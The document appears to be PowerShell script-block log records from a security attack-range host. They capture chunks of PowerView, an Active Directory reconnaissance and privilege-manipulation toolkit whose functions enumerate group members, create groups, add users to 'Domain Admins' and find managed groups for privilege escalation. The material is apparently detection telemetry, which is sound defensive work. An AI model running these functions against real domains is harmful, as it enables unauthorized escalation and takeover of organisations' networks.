DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' Adds harmj0y to 'Domain Admins' in the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred Creates the 'andy' user with the specified description and password, using the specified alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember and the alternate credentials. .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('GroupName', 'GroupIdentity')] [String] $Identity, [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('MemberIdentity', 'Member', 'DistinguishedName')] [String[]] $Members, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2141list of security groups on the domain and identify those who have a manager Get-DomainGroup @SearcherArguments | ForEach-Object { $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' $SearcherArguments['Identity'] = $_.managedBy $Null = $SearcherArguments.Remove('LDAPFilter') # $SearcherArguments # retrieve the object that the managedBy DN refers to $GroupManager = Get-DomainObject @SearcherArguments # Write-Host "GroupManager: $GroupManager" $ManagedGroup = New-Object PSObject $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName # determine whether the manager is a user or a group if ($GroupManager.samaccounttype -eq 0x10000000) { $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' } elseif ($GroupManager.samaccounttype -eq 0x30000000) { $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' } $ACLArguments = @{ 'Identity' = $_.distinguishedname 'RightsFilter' = 'WriteMembers' } if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } # # TODO: correct! # # find the ACLs that relate to the ability to write to the group # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose # # $ACLArguments # # double-check that the manager # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True # } # else { # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False # } $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') $ManagedGroup } } } function Get-DomainGroupMember { <# .SYNOPSIS Return the members of a specific domain group. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for the specified group matching the criteria. Each result is then rebound and the full user or group object is returned. .PARAMETER Identity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to query for. Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Recurse Switch. If the group member is a group, recursively try to query its members as well. .PARAMETER RecurseUsingMatchingRule Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. Much faster than manual recursion, but doesn't reveal cross-domain groups, and only returns user accounts (no nested group objects themselves). .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGroupMember "Desktop Admins" GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : Testing Group MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberObjectClass : group MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE 'Desktop Admins' | Get-DomainGroupMember -Recurse GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : Testing Group MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberObjectClass : group MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 GroupDomain : testlab.local GroupName : Testing Group GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : harmj0y MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : harmj0y MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember .EXAMPLE 'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local 'dev\domain admins' | Get-DomainGroupMember -Verbose VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) GroupDomain : dev.testlab.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local MemberDomain : dev.testlab.local MemberName : user1 MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) GroupDomain : dev.testlab.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local MemberDomain : dev.testlab.local MemberName : Administrator MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 .OUTPUTS PowerView.GroupMember Custom PSObject with translated group member property fields. .LINK http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GroupMember')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [Parameter(ParameterSetName = 'ManualRecurse')] [Switch] $Recurse, [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] [Switch] $RecurseUsingMatchingRule, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Properties' = 'member,samaccountname,distinguishedname' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ADNameArguments = @{} if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } } PROCESS { $GroupSearcher = Get-DomainSearcher @SearcherArguments if ($GroupSearcher) { if ($PSBoundParameters['RecurseUsingMatchingRule']) { $SearcherArguments['Identity'] = $Identity $SearcherArguments['Raw'] = $True $Group = Get-DomainGroup @SearcherArguments if (-not $Group) { Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" } else { $GroupFoundName = $Group.properties.item('samaccountname')[0] $GroupFoundDN = $Group.properties.item('distinguishedname')[0] if ($PSBoundParameters['Domain']) { $GroupFoundDomain = $Domain } else { # if a domain isn't passed, try to extract it from the found group distinguished name if ($GroupFoundDN) { $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} } $Null = $SearcherArguments.Remove('Raw') } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GroupSearcher = Get-DomainSearcher @SearcherArguments if (-not $GroupSearcher) { Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $GroupName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$GroupName)" $SearcherArguments['Domain'] = $GroupDomain Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" $GroupSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(samAccountName=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $(421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2041erDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [Alias('UserName')] [String] $MemberIdentity, [Switch] $AdminCount, [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')] [Alias('Scope')] [String] $GroupScope, [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')] [String] $GroupProperty, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $GroupSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($GroupSearcher) { if ($PSBoundParameters['MemberIdentity']) { if ($SearcherArguments['Properties']) { $OldProperties = $SearcherArguments['Properties'] } $SearcherArguments['Identity'] = $MemberIdentity $SearcherArguments['Raw'] = $True Get-DomainObject @SearcherArguments | ForEach-Object { # convert the user/group to a directory entry $ObjectDirectoryEntry = $_.GetDirectoryEntry() # cause the cache to calculate the token groups for the user/group $ObjectDirectoryEntry.RefreshCache('tokenGroups') $ObjectDirectoryEntry.TokenGroups | ForEach-Object { # convert the token group sid $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value # ignore the built in groups if ($GroupSid -notmatch '^S-1-5-32-.*') { $SearcherArguments['Identity'] = $GroupSid $SearcherArguments['Raw'] = $False if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } $Group = Get-DomainObject @SearcherArguments if ($Group) { $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') $Group } } } } } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GroupSearcher = Get-DomainSearcher @SearcherArguments if (-not $GroupSearcher) { Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $GroupName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$GroupName)" $SearcherArguments['Domain'] = $GroupDomain Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" $GroupSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['AdminCount']) { Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' $Filter += '(admincount=1)' } if ($PSBoundParameters['GroupScope']) { $GroupScopeValue = $PSBoundParameters['GroupScope'] $Filter = Switch ($GroupScopeValue) { 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } } Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" } if ($PSBoundParameters['GroupProperty']) { $GroupPropertyValue = $PSBoundParameters['GroupProperty'] $Filter = Switch ($GroupPropertyValue) { 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } } Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } else { $Results = $GroupSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Group = $_ } else { $Group = Convert-LDAPProperty -Properties $_.Properties } $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') $Group } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" } } $GroupSearcher.dispose() } } } } function New-DomainGroup { <# .SYNOPSIS Creates a new domain group (assuming appropriate permissions) and returns the group object. TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to create a new DirectoryServices.AccountManagement.GroupPrincipal with the specified group properties. .PARAMETER SamAccountName Specifies the Security Account Manager (SAM) account name of the group to create. Maximum of 256 characters. Mandatory. .PARAMETER Name Specifies the name of the group to create. If not provided, defaults to SamAccountName. .PARAMETER DisplayName Specifies the display name of the group to create. If not provided, defaults to SamAccountName. .PARAMETER Description Specifies the description of the group to create. .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' Creates the 'TestGroup' group with the specified description. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred Creates the 'TestGroup' group with the specified description using the specified alternate credentials. .OUTPUTS DirectoryServices.AccountManagement.GroupPrincipal #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] Param( [Parameter(Mandatory = $True)] [ValidateLength(0, 256)] [String] $SamAccountName, [ValidateNotNullOrEmpty()] [String] $Name, [ValidateNotNullOrEmpty()] [String] $DisplayName, [ValidateNotNullOrEmpty()] [String] $Description, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $ContextArguments = @{ 'Identity' = $SamAccountName } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $Context = Get-PrincipalContext @ContextArguments if ($Context) { $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) # set all the appropriate group parameters $Group.SamAccountName = $Context.Identity if ($PSBoundParameters['Name']) { $Group.Name = $Name } else { $Group.Name = $Context.Identity } if ($PSBoundParameters['DisplayName']) { $Group.DisplayName = $DisplayName } else { $Group.DisplayName = $Context.Identity } if ($PSBoundParameters['Description']) { $Group.Description = $Description } Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" try { $Null = $Group.Save() Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" $Group } catch { Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" } } } function Get-DomainManagedSecurityGroup { <# .SYNOPSIS Returns all security groups in the current (or target) domain that have a manager set. Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl .DESCRIPTION Authority to manipulate the group membership of AD security groups and distribution groups can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically used to delegate management authority to distribution groups, but Windows supports security groups being managed in the same way. This function searches for AD groups which have a group manager set, and determines whether that user can manipulate group membership. This could be a useful method of horizontal privilege escalation, especially if the manager can manipulate the membership of a privileged group. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv Store a list of all security groups with managers in group-managers.csv .OUTPUTS PowerView.ManagedSecurityGroup A custom PSObject describing the managed security group. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ManagedSecurityGroup')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] 